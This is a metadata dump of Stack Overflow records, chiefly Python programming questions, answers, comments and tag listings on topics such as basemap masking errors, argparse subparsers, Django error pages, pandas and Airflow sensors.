has body: I'm getting the error: TypeError: 'float' object cannot be interpreted as an integer when I call maskoceans. Why is this? I'm running python3. from mpl_toolkits.basemap import Basemap from mpl_toolkits.basemap import maskoceans from mpl_toolkits.basemap import interp from scipy.interpolate import griddata import matplotlib.pyplot as plt import numpy as np places = { (-8.91508040128176, 52.23826465): 0, (-6.45854802816101, 52.64127685): 21, (-9.03867527891856, 52.78809005): 0, (-8.70926037608263, 53.717247): 0, (-6.8217677, 54.3303964): 0, (-6.1658125, 53.5255827): 4 } m = Basemap(llcrnrlon=-10.56, llcrnrlat=51.39, urcrnrlon=-5.34, urcrnrlat=55.43, lat_1=30., lat_2=60., lat_0=53.41, lon_0=-7.95, resolution="i") x, y, values = np.array([(x, y, v) for (x, y), v in places.items()]).T coords = np.stack((x, y)).T x, y = np.mgrid[-11:-4:10j, 51:56:10j] z = griddata(coords, values, (x, y), method='nearest') mdata = maskoceans(x, y, z, resolution = 'h', grid = 10, inlands=True) plt.contour(x[:,0], x[0,:], mdata.T,linewidths=0.5,colors='k',z=99) plt.contourf(x[:,0], y[0,:], mdata.T,cmap=plt.cm.Purples, z=100) Here's the full stacktrack: Traceback (most recent call last): File "plot.py", line 28, in &lt;module&gt; mdata = maskoceans(x, y, z, resolution = 'h', grid = 10, inlands=True) File "/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages/mpl_toolkits/basemap/__init__.py", line 5107, in maskoceans _readlsmask(lakes=inlands,resolution=resolution,grid=grid) File "/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages/mpl_toolkits/basemap/__init__.py", line 5132, in _readlsmask np.reshape(np.fromstring(lsmaskf.read(),dtype=np.uint8),(nlats,nlons)) File "/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages/numpy/core/fromnumeric.py", line 257, in reshape return _wrapfunc(a, 'reshape', newshape, order=order) File "/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages/numpy/core/fromn…
has comment: http://stackoverflow.com/comment/84534309
tagged with: numpy
has comment: http://stackoverflow.com/comment/84533604
upvote count: 1
answer count: 1

http://stackoverflow.com/a/48747370
upvote count: 8
type: Answer
score: 8
answers question: http://stackoverflow.com/q/48746478
has body: To get the attribute value from an XML, you can do like this: import xml.etree.ElementTree as ET xml_data = """&lt;xml&gt; &lt;child type = "smallHuman"/&gt; &lt;adult type = "largeHuman"/&gt; &lt;/xml&gt;""" # This is like ET.parse(), but for strings root = ET.fromstring(xml_data) for a child in root: print(child.tag, child.attrib) You can find more details and examples on the link below: https://docs.python.org/3.5/library/xml.etree.elementtree.html
downvote count: 0

http://stackoverflow.com/a/48776312
has body: You can also use .items(): import random # you don't need numpy here max_value = max(history.values()) random.choice([ key for key, value in history.items() if value == max_value ])
answers question: http://stackoverflow.com/q/48773511
score: 0
type: Answer

http://stackoverflow.com/comment/84401264
type: QuestionComment
type: Comment
score: 0
has text: It matters.When I use "cv2.imwrite(os.path.join( image_dst0, '%04d.jpg' % c), bin_image)",there is a difference between different frequency.
comment on: http://stackoverflow.com/q/48701235

http://stackoverflow.com/comment/84462557
score: 0
type: Comment
has text: Thanks that makes sense. Just an FYI for the comment in your _Base Query_ section: # WHY need this when it is identical to `column1`? That was a mistake when I was generalizing my actual code for this post, I've edited my post to reflect it.
comment on: http://stackoverflow.com/a/48727198
type: AnswerComment

http://stackoverflow.com/q/48757801
type: Question
accepted answer: http://stackoverflow.com/a/48757855
possible better answer: http://stackoverflow.com/a/48757895
has answer: http://stackoverflow.com/a/48757961
downvote count: 0
has title: Pythonic way to get index of items where two list intersect
has body: Say I have two list: one is a string -- 'example' and another is the alphabet. I'd like to find a more pythonic way where every position in the alphabet list each letter of the string list 'example' intersects and put these indices in a list. I.E. e : 4 x : 23 a : 0 m : 12 etc... So far I have: import string alphabet = list(string.ascii_lowercase) key = list('example') def convert(string, alphabet): table_l = [] for char in string: for letter in alphabet: if letter == char: table_l.append(alphabet.index(letter)) return table_l convert(key, alphabet) I've tried using set intersection, but the string 'key' can contain more than 1 of each letter, and I'm looking for indices, not which letters match. So far, the best I've tried is: for x in key: listed.append(set(alphabet).intersection(x)) I've no clue how to append the keys of alphabet where the value intersects with each letter of key. Thanks
favorite count: 0
has answer: http://stackoverflow.com/a/48757939
has answer: http://stackoverflow.com/a/48757855
answer count: 5
tagged with: python
has answer: http://stackoverflow.com/a/48757843
score: 2
type: AnsweredQuestion
tagged with: list
has comment: http://stackoverflow.com/comment/84516703
upvote count: 2
has answer: http://stackoverflow.com/a/48757895

http://stackoverflow.com/q/48665382
has comment: http://stackoverflow.com/comment/84328735
linked to: http://stackoverflow.com/q/2915471
score: 0
has comment: http://stackoverflow.com/comment/84328422
answer count: 1
tagged with: linux
type: UnansweredQuestion
tagged with: pyinstaller
tagged with: windows
tagged with: python
has body: I created a python script by pycharm (I used several libraries). I want to use this script on a Linux server. How to do it? I tried with the PyInstaller but it generates .exe P.S Linux server is without Internet and PIP. Thank you very much in advance EDIT I read that is imposible and I should use WINE
has comment: http://stackoverflow.com/comment/84328372
has title: Python How to move script from windows to linux?
type: Question
has answer: http://stackoverflow.com/a/48665725

http://stackoverflow.com/a/48745026
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48744607
has body: One solution is to convert to a pd.Series, and then use pd.Series.clip: pd.Series(v1).clip(v2[0]) # 0 2017-01-01 # 1 2018-01-02 # 2 2018-01-03 # dtype: datetime64[ns]
type: Answer
has comment: http://stackoverflow.com/comment/84490928
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84491292
accepted answer of: http://stackoverflow.com/q/48744607
upvote count: 1

http://stackoverflow.com/q/48694145
tagged with: python
possible better answer: http://stackoverflow.com/a/48694338
score: 2
type: AnsweredQuestion
has body: I have to raise an exception for invalid argument from my class. class MyFunc(object): class InvalidArgument(ValueError): pass So I have sub classed from ValueError. It make more sense to put this inside class, as I don`t want my exception class to collide with other exceptions from library or other module. However inner classes are sometime discouraged in python. Where should I put InvalidArgument inside my class or outside class.
upvote count: 2
has answer: http://stackoverflow.com/a/48694183
type: Question
tagged with: python-2.7
has title: Does exception sub class has to be outside class?
answer count: 2
accepted answer: http://stackoverflow.com/a/48694183
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/48694338
has comment: http://stackoverflow.com/comment/84386863

http://stackoverflow.com/q/48721806
has answer: http://stackoverflow.com/a/48722909
answer count: 2
score: 5
has answer: http://stackoverflow.com/a/48722394
has title: Join related models in django rest framework
downvote count: 0
tagged with: django-rest-framework
has body: Trying to create an API method for getting user profile. The problem is that there are two tables related to user: built in django User and SocialAccount from allauth framework. I guess the joining part should be in serializers so after a research I came up with this: from rest_framework import serializers from django.contrib.auth.models import User from allauth.socialaccount.models import SocialAccount class UserSerializer(serializers.ModelSerializer): class Meta: model = User fields = ('pk', 'first_name', 'last_name') class SocialSerializer(serializers.ModelSerializer): user = UserSerializer(many=False, read_only=True) class Meta: model = SocialAccount fields = ('uid', 'provider', 'user') It works but it outputs it as nested objects: { "uid": "", "provider": "", "user": { "pk": 5, "first_name": "", "last_name": "" } } I would like it to be as one object: { "uid": "", "provider": "", "pk": 5, "first_name": "", "last_name": "" }
favorite count: 0
tagged with: django-allauth
has comment: http://stackoverflow.com/comment/88126181
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84442589
tagged with: django
type: Question
linked to: http://stackoverflow.com/q/48205086
upvote count: 5
has comment: http://stackoverflow.com/comment/84442927

http://stackoverflow.com/comment/84321931
type: Comment
comment on: http://stackoverflow.com/a/48658103
has text: Because the last table index from that page shoud be `8` not `9`. However, if you start from the last then you can do something like `item = soup.select("iframe[name='odibat']")[-1]['src']`. See the change in the index.
score: 0
type: AnswerComment

http://stackoverflow.com/q/48669326
has answer: http://stackoverflow.com/a/48671882
has comment: http://stackoverflow.com/comment/84341306
has comment: http://stackoverflow.com/comment/84343345
has title: How to update a Django model with a large CSV file (54 fields, ~5000 rows)?
has comment: http://stackoverflow.com/comment/84343474
answer count: 1
has comment: http://stackoverflow.com/comment/84340474
score: 0
has body: I have a model describing data center items (e.g. Racks, PDUs, patch panels, switches, servers, blades, ...). The data is exported regularly as CSV (once a month) and the export currently has close to 5000 lines and 54 fields per row. For our Django App, roughly 80% of the rows are relevant: their equipment type must be in a pre-defined type list and the item must have a barcode (internal asset number) associated with it. The rest of the lines is skipped. The model (see below) captures all of the available fields, even if they're not used. The reason for that is that the app, once it becomes productive, will have several models related to each other but fed from different data sources. Until now all of them are completely unrelated, the goal is to detect lint in the various databases and, over time, clean the data. Maybe in the future some data sources may even be declared authoritative so their data can be used to automatically generate updates for secondary databases whenever a primary representation changes. In the app we currently upload the CSV file via form, here is a sample of the CSV (data anonymized): "Name";"Serial Number";"Barcode";"Installation Date";"Model Name";"Description";"Manufacturer";"Part Number";"Manufacturer's Nameplate (W)";"Adjusted Nameplate (W)";"Location";"Room";"Row";"Floor Coordinates";"Rack";"U-Position";"U-Height";"Max Power Ports";"Product family";"Bay type";"Bay count";"Module type";"Weight";"Zero-based numbering";"Power supply";"Breaker Type";"Circuit Number";"Breaker Phase";"Breaker Panel";"Equipment type";"Port Description";"IP Address";"Order";"GeraeteSubTyp";"Datum";"Address";"RfC-Abbau";"Lodger";"GeraeteTyp";"SerialNr";"Techniker";"Bemerkung";"URL";"System-Status";"InventarNr";"SerialNrMotherboardCisco";"AssetID";"Connected to";"RfC-Aufbau";"Device Description";"Parent System";"Group";"Device Location";"Device Name"; "hostname1";"";"123456789";"01/01/2015";"MI-3230";"MyCorp Infrastructure 3230";"MyCorp";"";"300";"0";"U-16/Rack…
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84336856
tagged with: django
has comment: http://stackoverflow.com/comment/84344192
type: Question

http://stackoverflow.com/q/48762892
downvote count: 0
has body: I'm trying to make custom error page general 404 and 500. I'm not trying to raise just making a default if it happens for a user, but every place I'm trying to search and follows a tutorial and so on I always ends up in getting an internal error on both 500 and 404 I'm running django=1.11.6, and I'm running debug False because I need to see if it work of course. How can I fix this issue and make it work? And how can I make it so it also gives the user the error text so they can send it to me? Views.py (In my app folder) # Error Handlers def handler404(request): return render(request, 'handlers/404.html', status=404) def handler500(request): return render(request, 'handlers/500.html', status=500) Urls.py (in my main config folder) from django.conf.urls import include, url, handler404, handler500 from django.contrib import admin handler404 = 'staff.views.handler404' handler500 = 'staff.views.handler500' urlpatterns = [ url(r'^', include('staff.urls')), url(r'^admin/', admin.site.urls), ]
answer count: 1
accepted answer: http://stackoverflow.com/a/48762972
favorite count: 0
has title: Django Custom error page's giving error
tagged with: django
tagged with: django-errors
tagged with: python
type: AnsweredQuestion
score: 3
tagged with: django-views
upvote count: 3
type: Question
has answer: http://stackoverflow.com/a/48762972

http://stackoverflow.com/q/48648036
has answer: http://stackoverflow.com/a/63298095
favorite count: 0
has body: Intro I'm trouble for a school project. I'm making a testsuit and i'm needing bot a configuration generation interface and a test runner. For that i used the library argparse and two subparsers cgi and run The issue itself So here is the failing code section: def CGI(args): print("CGI: Work In Progress") exit(0) def runTest(args): print("Run: Work in Progress") exit(0) parser = argparse.ArgumentParser() subparser = parser.add_subparsers() cgi = subparser.add_parser("cgi", help="CSV Generator Interface") run = subparser.add_parser("run", help="Test running") verbosity = parser.add_argument_group("Verbosity").add_mutually_exclusive_group() check = run.add_argument_group("Checks") # Arguments #Run parser run.set_defaults(func=runTest) # Run argument declaration ... # Verbosity argument declaration ... # Check argument declaration ... #CGI cgi.set_defaults(func=CGI) args = parser.parse_args() args.func(args) # Error is here Whenever i run this code i have the following error: File "/home/thor/Projects/EPITA/TC/test/test.py", line 44, in main args.func(args) AttributeError: 'Namespace' object has no attribute 'func' Python version $ python -V Python 3.6.4 Argparse version $ pip show argparse Name: argparse Version: 1.4.0 Summary: Python command-line parsing library Home-page: https://github.com/ThomasWaldmann/argparse/ Author: Thomas Waldmann Author-email: tw@waldmann-edv.de License: Python Software Foundation License Location: /usr/lib/python3.6/site-packages Requires: EDIT If i install argparse manually it work sudo pip install argparse. But is there any native solution. I'm not sure it will work on school's computers (we can' install packages) EDIT 2 OK my bad i've been a total idiot i didn't rewrited my running script so i forgot to input run or cgi Thanks for reading my message and for your future help :)
has answer: http://stackoverflow.com/a/54161510
type: UnansweredQuestion
upvote count: 18
tagged with: python
has comment: http://stackoverflow.com/comment/122027203
linked to: http://stackoverflow.com/q/23349349
has comment: http://stackoverflow.com/comment/134891061
type: Question
has title: Python argparse: args has no attribute func
has answer: http://stackoverflow.com/a/56987838
score: 18
answer count: 6
has answer: http://stackoverflow.com/a/59043155
downvote count: 0
has answer: http://stackoverflow.com/a/59351989
has answer: http://stackoverflow.com/a/61680800
has comment: http://stackoverflow.com/comment/84294139

bash
tags question: http://stackoverflow.com/q/48679254
tags question: http://stackoverflow.com/q/48710342
tags question: http://stackoverflow.com/q/48793272
tags question: http://stackoverflow.com/q/48764133
tags question: http://stackoverflow.com/q/48790055
tags question: http://stackoverflow.com/q/48752616
tags question: http://stackoverflow.com/q/48727604
tags question: http://stackoverflow.com/q/48730979
tags question: http://stackoverflow.com/q/48757530
tags question: http://stackoverflow.com/q/48756915
type: Tag
tags question: http://stackoverflow.com/q/48730188
tags question: http://stackoverflow.com/q/48734609
tags question: http://stackoverflow.com/q/48769072
tags question: http://stackoverflow.com/q/48733200
tags question: http://stackoverflow.com/q/48648462
tags question: http://stackoverflow.com/q/48706774
tags question: http://stackoverflow.com/q/48679692
tag name: bash
tags question: http://stackoverflow.com/q/48720753
tags question: http://stackoverflow.com/q/48730164

http://stackoverflow.com/comment/84505042
score: 0
type: Comment
type: QuestionComment
has text: Regarding that error, have you tried executing one of those commands in the terminal and asking about the error you get? It might be that you are just missing the username or a password is needed.
comment on: http://stackoverflow.com/q/48747187

http://stackoverflow.com/a/48789909
score: 1
accepted answer of: http://stackoverflow.com/q/48789802
answers question: http://stackoverflow.com/q/48789802
upvote count: 1
type: AcceptedAnswer
downvote count: 0
has body: You did not change the self.co attribute. You are assigning to self.co only when initialization of scope occurs, that is, when you call scope().Also Python doesn't keep references like pointers in c so changing one would not change the other. To prove this run this code: class scope: tag=1 def __init__(self,h,x): self.h = h self.x = x self.co=(self.x,self.h) def change(self,k): self.x=k s = scope(2,3) print(s.co) print("id of self.x before change:", id(s.x)) #11161896 print("id of self.co's x before change:", id(s.co[0])) #11161896 s.change(6) print(s.co) print("id of self.x after change:", id(s.x)) #11161824 print("id of self.co's x after change:", id(s.co[0])) #11161896 The id are the memory location of the object, and you can see it first starts out the same, but then when you change self.x the memory location in the co doesn't change You have to update self.co in your change(). If you want a dynamically changing co without manually updating it, write a method to retrieve co. Option 1: class scope: tag=1 def __init__(self,h,x): self.h = h self.x = x self.co=(self.x,self.h) def change(self,k): self.x=k self.co = (self.x,self.h) Option 2: class scope: tag=1 def __init__(self,h,x): self.h = h self.x = x def change(self,k): self.x=k def co(self): return (self.x,self.h) s = scope(2,3) print(s.co()) #(3,2) s.change(6) print(s.co()) #(6,2) You can add to method 2 with a decorator @property to not make it a function call but at this point, I have no idea what your requirements are.
type: Answer

http://stackoverflow.com/comment/84485836
comment on: http://stackoverflow.com/q/48742580
score: 0
type: Comment
type: QuestionComment
has text: What is `file`? Could you show the code before the snippet you've posted? Also, where did you get this code snippet from?

http://stackoverflow.com/q/48742057
upvote count: 6
answer count: 4
has answer: http://stackoverflow.com/a/48742426
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84484318
has answer: http://stackoverflow.com/a/48743138
downvote count: 1
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/48742245
possible better answer: http://stackoverflow.com/a/48742426
accepted answer: http://stackoverflow.com/a/48742245
score: 5
favorite count: 0
tagged with: python-3.x
has title: unzip a dictionary of coordinates and values
has answer: http://stackoverflow.com/a/48742212
tagged with: python
has body: I wish to populate the values x,y and z, where x are the x coordinates, y the y coordinates and z the associated values for each coordinate, as defined by p. Here is how I am doing it: p = {(1,2): 10, (0,2):12, (2,0):11} k,z = np.array(list(zip(*p.items()))) x,y = np.array(list(zip(*k))) Is there another more readable way? Perhaps there is something in numpy or scipy for doing this? Why does z result in array([10, 11, 12], dtype=object), while x an y do not include dtype=object?

http://stackoverflow.com/comment/84515637
has text: I did like jsonEncoder.default(formatted_atgsites) but it return null list
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48745221
type: Comment

http://stackoverflow.com/a/73195441
has body: You can possibly get this error if you have multi lvl column indexing. EX.: How to create the error by renaming columns existing_df.columns = 'user','movie','ratings' How to it correctly existing_df.columns = ['user','movie','ratings']
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48734388

http://stackoverflow.com/comment/84394757
has text: @Sraw `pool.map_async(run_ffprobe, iterable=args_list, callback=example_callback)` still shows no output. Edit: using `map` errors, same problem as with `apply`.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48697845

http://stackoverflow.com/comment/84353098
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48677553
has text: For starters though: do you have a file `/usr/lib/python3/dist-packages/apt_pkg.cpython-35m-x86_64-linux-gnu.so`?
score: 0

http://stackoverflow.com/comment/84587013
type: AnswerComment
has text: That's the approach, but I think he wants the range from the beginning of the hour?
comment on: http://stackoverflow.com/a/48792337
type: Comment
score: 0

ubuntu
tags question: http://stackoverflow.com/q/48723221
tags question: http://stackoverflow.com/q/48739788
tags question: http://stackoverflow.com/q/48738186
tags question: http://stackoverflow.com/q/48651556
tags question: http://stackoverflow.com/q/48667581
tags question: http://stackoverflow.com/q/48693440
tags question: http://stackoverflow.com/q/48729174
tag name: ubuntu
tags question: http://stackoverflow.com/q/48715797
tags question: http://stackoverflow.com/q/48730308
type: Tag
tags question: http://stackoverflow.com/q/48721506
tags question: http://stackoverflow.com/q/48742985
tags question: http://stackoverflow.com/q/48686441

http://stackoverflow.com/comment/84536865
comment on: http://stackoverflow.com/q/48767739
type: Comment
type: QuestionComment
score: 0
has text: Thank you, that cleared a bit up, but not all. The idea of this high-watermark they mention is that the memory usage doesn't go down below that point right? But would this still lead to MemoryErrors? Is there absolutely nothing in python that will clean up some of the dead memory once you get close to full usage? And can the high watermark really reach close to full usage?

http://stackoverflow.com/comment/84384639
score: 0
comment on: http://stackoverflow.com/a/48692490
type: Comment
has text: Thank you that is correct, however I am not generating 3 individual plots which I then display, I am creating a variable quantity of plots through a loop and somehow must be able replicate that loop also in the components.... that is where I am stuck. in the Jupyter Notebook this is solved through: output_file("line"+str(number)+".html").
type: AnswerComment

http://stackoverflow.com/a/48720723
answers question: http://stackoverflow.com/q/48701221
type: Answer
has comment: http://stackoverflow.com/comment/84487360
has body: Between page and field there should be only one slash: //page/field[1]/tree/field[@name='partner_id'] Anyway if some xpath is not working try being as much clear as possible, try this expression as well: /form/sheet/notebook/page[1]/field[@name='line_ids']/tree/field[@name='partner_id']
score: 0
has comment: http://stackoverflow.com/comment/84481942

machine-learning
tags question: http://stackoverflow.com/q/48789532
tags question: http://stackoverflow.com/q/48661602
tags question: http://stackoverflow.com/q/48726601
tags question: http://stackoverflow.com/q/48726418
tags question: http://stackoverflow.com/q/48804198
tags question: http://stackoverflow.com/q/48674881
tags question: http://stackoverflow.com/q/48774619
tags question: http://stackoverflow.com/q/48788991
tags question: http://stackoverflow.com/q/48707238
tags question: http://stackoverflow.com/q/48673863
tags question: http://stackoverflow.com/q/48766063
tags question: http://stackoverflow.com/q/48679734
tags question: http://stackoverflow.com/q/48715866
tags question: http://stackoverflow.com/q/48783798
tags question: http://stackoverflow.com/q/48685997
tags question: http://stackoverflow.com/q/48781303
tags question: http://stackoverflow.com/q/48792485
tags question: http://stackoverflow.com/q/48758741
tags question: http://stackoverflow.com/q/48748818
tags question: http://stackoverflow.com/q/48730134
tags question: http://stackoverflow.com/q/48746829
tags question: http://stackoverflow.com/q/48698385
tags question: http://stackoverflow.com/q/48686528
tags question: http://stackoverflow.com/q/48651905
tags question: http://stackoverflow.com/q/48790840
tags question: http://stackoverflow.com/q/48750358
tag name: machine-learning
tags question: http://stackoverflow.com/q/48652404
tags question: http://stackoverflow.com/q/48715030
tags question: http://stackoverflow.com/q/48794100
tags question: http://stackoverflow.com/q/48677128
tags question: http://stackoverflow.com/q/48668186
tags question: http://stackoverflow.com/q/48646459
tags question: http://stackoverflow.com/q/48682394
tags question: http://stackoverflow.com/q/48728868
tags question: http://stackoverflow.com/q/48785472
tags question: http://stackoverflow.com/q/48739198
tags question: http://stackoverflow.com/q/48716184
tags question: http://stackoverflow.com/q/48789089
type: Tag
tags question: http://stackoverflow.com/q/48669802
tags question: http://stackoverflow.com/q/48758700
tags question: http://stackoverflow.com/q/48652568
tags question: http://stackoverflow.com/q/48741315
tags question: http://stackoverflow.com/q/48795910
tags question: http://stackoverflow.com/q/48656040
tags question: http://stackoverflow.com/q/48762580
tags question: http://stackoverflow.com/q/48758383
tags question: http://stackoverflow.com/q/48690782
tags question: http://stackoverflow.com/q/48782096
tags question: http://stackoverflow.com/q/48714919
tags question: http://stackoverflow.com/q/48711490
tags question: http://stackoverflow.com/q/48758744
tags question: http://stackoverflow.com/q/48723031
tags question: http://stackoverflow.com/q/48689532
tags question: http://stackoverflow.com/q/48767861
tags question: http://stackoverflow.com/q/48738370
tags question: http://stackoverflow.com/q/48686829
tags question: http://stackoverflow.com/q/48804113
tags question: http://stackoverflow.com/q/48782758
tags question: http://stackoverflow.com/q/48651523
tags question: http://stackoverflow.com/q/48655956
tags question: http://stackoverflow.com/q/48759089
tags question: http://stackoverflow.com/q/48691760
tags question: http://stackoverflow.com/q/48750199
tags question: http://stackoverflow.com/q/48717765
tags question: http://stackoverflow.com/q/48757194
tags question: http://stackoverflow.com/q/48693645
tags question: http://stackoverflow.com/q/48650391
tags question: http://stackoverflow.com/q/48716072
tags question: http://stackoverflow.com/q/48668369

http://stackoverflow.com/comment/135700342
has text: Excellent! However, my comment would have also applied in 2019 :D
score: 1
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48725037

http://stackoverflow.com/q/48667218
tagged with: pandas
downvote count: 0
has answer: http://stackoverflow.com/a/48667330
score: 1
has title: How to get the N nearest entries to the median in a Pandas series?
favorite count: 0
tagged with: series
accepted answer: http://stackoverflow.com/a/48667330
tagged with: python
has comment: http://stackoverflow.com/comment/84332250
type: AnsweredQuestion
has body: For a Pandas Series: ser = pd.Series([i**2 for i in range(9)]) print(ser) 0 0 1 1 2 4 3 9 4 16 5 25 6 36 7 49 8 64 dtype: int64 The median can be grabbed with ser.median(), which returns 16. How can the N entries around the median be grabbed? Something like: print(ser.get_median_entries(3)) # N == 3; not real functionality 3 9 4 16 5 25 dtype: int64
upvote count: 1
type: Question
possible better answer: http://stackoverflow.com/a/48667508
has answer: http://stackoverflow.com/a/48667508
tagged with: median
answer count: 2

http://stackoverflow.com/comment/84383679
comment on: http://stackoverflow.com/q/48692562
score: 0
type: Comment
type: QuestionComment
has text: Celery should be able to make it faster.

http://stackoverflow.com/q/48691203
tagged with: sensors
answer count: 1
favorite count: 0
tagged with: directed-acyclic-graphs
upvote count: 5
has answer: http://stackoverflow.com/a/48697996
accepted answer: http://stackoverflow.com/a/48697996
tagged with: python
type: AnsweredQuestion
downvote count: 0
type: Question
score: 5
tagged with: airflow
has title: How to dynamically add bucket_key value in airflow's S3KeySensor
has body: I'm trying to set S3KeySensor's bucket_key up based on dagrun input variable. I have one dag "dag_trigger" that uses TriggerDagRunOperator to trigger dagrun for dag "dag_triggered". I'm trying to extend example https://github.com/apache/incubator-airflow/blob/master/airflow/example_dags/example_trigger_target_dag.py. So I want to send a variable to triggered dag, and according to the variable's value I want to set backet_key value in S3KeySensor task. I know how to use sent variable in PythonOperator callable function, but I do not know how to use it on the sensor object. dag_trigger dag: import datetime from airflow import DAG from airflow.operators.dagrun_operator import TriggerDagRunOperator default_args = { 'owner': 'airflow', 'start_date': datetime.datetime.now()} dag = DAG('dag_trigger', default_args=default_args, schedule_interval="@hourly") def task_1_run(context, dag_run_object): sent_variable = '2018_02_19' # not important dag_run_object.payload = {'message': sent_variable} print "DAG dag_trigger triggered with payload: %s" % dag_run_object.payload) return dag_run_object task_1 = TriggerDagRunOperator(task_id="task_1", trigger_dag_id="dag_triggered", provide_context=True, python_callable=task_1_run, dag=dag) And dag_triggered dag: import datetime from airflow import DAG from airflow.operators.python_operator import PythonOperator from airflow.operators.sensors import S3KeySensor default_args = { 'owner': 'airflow', 'start_date': datetime.datetime.now() } dag = DAG('dag_triggered', default_args=default_args, schedule_interval=None) wait_files_to_arrive_task = S3KeySensor( task_id='wait_file_to_arrive', bucket_key='file_%s' % '', # Here I want to place conf['sent_variable'] wildcard_match=True, bucket_name='test-bucket', s3_conn_id='test_s3_conn', timeout=18*60*60, poke_interval=120, dag=dag) I tried to get the value from dag object using dag.get_dagrun().conf['sent_variable'] but I have a doubt how to set dagrun create_date variable (dag_trigger will trigge…

http://stackoverflow.com/comment/84410197
type: QuestionComment
has text: i've to make these email hyperlinks. @FlyingTeller
comment on: http://stackoverflow.com/q/48705618
score: 0
type: Comment

http://stackoverflow.com/comment/115834052
comment on: http://stackoverflow.com/a/57275834
has text: ` {% for job in job_title %} {{ job.model_field_name }} {% endfor %} `
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/84475443
score: 0
comment on: http://stackoverflow.com/q/48737638
has text: I know the type of the `value` attribute of c_ulong is long. But my question is that why a field of type c_ulong become type long. You see numVertices is of type c_ulong and it should have a value attribute. But in the `__deepcopy__` function its type becomes long instead of c_ulong and it doesn't have 'value' attribute at all!
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/108067181
has text: I am not sure if that what you are looking for but that gives you how many 'e' and print the word with letter 'e'
type: AnswerComment
type: Comment
score: 1
comment on: http://stackoverflow.com/a/61084671

http://stackoverflow.com/q/48744317
score: 0
tagged with: python
answer count: 1
has body: For automation testing I need to save the password and username in Pycharm as fixture (pytest). I cannot hash or encrypt the password because my secure system hashes the password by itself. But then I face a problem - my password is printed in log output and is open to other people in project as fixture. In log output I fixed this problem with the parameter 'set +x'. How can I save the password hidden or shown as asterisk or something like this? Thank you in advance!
has answer: http://stackoverflow.com/a/48745346
accepted answer: http://stackoverflow.com/a/48745346
has title: how to save password in pycharm secure (not-shown)?
has comment: http://stackoverflow.com/comment/84489474
type: AnsweredQuestion
type: Question

http://stackoverflow.com/comment/86394894
has text: will this help with the memory issue? aren't you killing all other people's runs then?
comment on: http://stackoverflow.com/a/49665568
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/48726610
upvote count: 2
has comment: http://stackoverflow.com/comment/84505784
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/94499395
has body: You are probably getting this error because the path to the module installed by apt-get is not in your sys.path. One solution you can try is this: import sys sys.path.insert(0, "/usr/lib/python3/dist-packages") import dbus
type: Answer
has comment: http://stackoverflow.com/comment/84454065
answers question: http://stackoverflow.com/q/48726498
has comment: http://stackoverflow.com/comment/84453990

http://stackoverflow.com/q/48779589
has answer: http://stackoverflow.com/a/48779765
has comment: http://stackoverflow.com/comment/84560981
tagged with: python
possible better answer: http://stackoverflow.com/a/48779765
has comment: http://stackoverflow.com/comment/84560865
type: AnsweredQuestion
score: 2
upvote count: 2
linked to: http://stackoverflow.com/q/1747817
type: Question
tagged with: nested-loops
has answer: http://stackoverflow.com/a/48796874
tagged with: list-comprehension
has comment: http://stackoverflow.com/comment/84561624
answer count: 2
accepted answer: http://stackoverflow.com/a/48796874
has title: python 3 nested comprehension
downvote count: 0
favorite count: 0
has body: Is there a smart list/dictionary comprehension way of getting the intended output below give the following: import numpy as np freq_mat = np.random.randint(2,size=(4,5)); tokens = ['a', 'b', 'c', 'd', 'e']; labels = ['X', 'S', 'Y', 'S']; The intended output for freq_mat array([[1, 0, 0, 1, 1], [0, 0, 0, 0, 1], [1, 0, 1, 1, 0], [0, 1, 0, 0, 0]]) should like the following: [({'a': True, 'b': False, 'c': False, 'd': True, 'e': True}, 'X'), ({'a': False, 'b': False, 'c': False, 'd': False, 'e': True}, 'S'), ({'a': True, 'b': False, 'c': True, 'd': True, 'e': False}, 'Y'), ({'a': False, 'b': True, 'c': False, 'd': False, 'e': False}, 'S')]
tagged with: python-3.x

http://stackoverflow.com/comment/84409487
has text: That's still not really correct. The problem is not that it's not a list -- that would raise a TypeError or an AttributeError. The problem is that it's _not there at all_. I think the concept you are looking for is "asking for forgiveness instead of permission" or something like that. (The expression is often used in combination with duck typing, e.g. [here](https://softwareengineering.stackexchange.com/q/175655/95456), in in this case it should not.)
type: AnswerComment
comment on: http://stackoverflow.com/a/48705291
score: 0
type: Comment

http://stackoverflow.com/comment/124522951
type: Comment
comment on: http://stackoverflow.com/a/48798845
has text: Works with a series as well, index matching df and values containing new desired indices
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84602225
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48799648
has text: Also also `self.board[self.playerscore] = 'P'` may throw an error since it's possible that `36 <= playerscore <= 41`. This is because you are adding a random int between 1 and 6 to a number `<= 35`.
score: 0

http://stackoverflow.com/a/48698429
type: Answer
score: 2
downvote count: 0
has body: !) Set your data to be publicly available then for public spreadsheets: from StringIO import StringIO # got moved to io in python3. import requests r = requests.get('https://docs.google.com/spreadsheet/ccc? key=0Ak1ecr7i0wotdGJmTURJRnZLYlV3M2daNTRubTdwTXc&amp;output=csv') data = r.content In [10]: df = pd.read_csv(StringIO(data), index_col=0,parse_dates= ['Quradate']) In [11]: df.head() More here: Getting Google Spreadsheet CSV into A Pandas Dataframe If private data sort of the same but you will have to do some auth gymnastics...
